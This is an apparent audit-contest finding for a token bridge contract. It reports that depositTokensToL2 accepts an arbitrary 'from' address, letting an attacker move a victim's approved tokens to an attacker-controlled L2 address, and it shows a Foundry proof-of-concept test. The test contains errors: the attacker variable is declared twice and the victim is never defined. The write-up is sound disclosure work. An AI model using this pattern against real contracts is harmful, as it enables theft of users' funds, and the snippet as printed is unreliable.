First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Token Theft Risk via Unauthorized Deposit Execution

teddy

Summary

An attacker can potentially steal users' tokens during the deposit flow.

Vulnerability Details

There are two related issues in the depositTokensToL2 function. I have combined them because they are likely to be resolved with the same change.

  1. After the victim has approved the token for the bridge, anyone can deposit tokens on behalf of that user using depositTokensToL2() because "from" is inputted as an argument. This could result in unintended token deposits for the victim.

  2. The more critical issue, which is facilitated by the first issue, allows an attacker to deposit tokens into an L2 address they control and subsequently steal those tokens. This second issue is the primary focus of this finding.

The following unit test illustrates the vulnerability.

address userAttacker = makeAddr("userVictim");
address userAttacker = makeAddr("userAttacker");
​
function testRandomUserCanDepositTokensToAnother() public {
vm.startPrank(userVictim);
uint256 amount = 10e18;
token.approve(address(tokenBridge), amount);
​
// Attacker starts after victim has approved. Deposits into their own address.
vm.startPrank(userAttacker);
vm.expectEmit(address(tokenBridge));
emit Deposit(userVictim, userAttacker, amount);
tokenBridge.depositTokensToL2(userVictim, userAttacker, amount);
​
assertEq(token.balanceOf(address(tokenBridge)), 0);
assertEq(token.balanceOf(address(vault)), amount);
vm.stopPrank();
}

Impact

An attacker can potentially steal tokens by front-running deposits.

Tools Used

Manual review.

Recommendations

One possible change to address both issues is to remove the input for the depositing address in the first argument, "from". Instead, the sender's address can be derived from "message.sender."

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.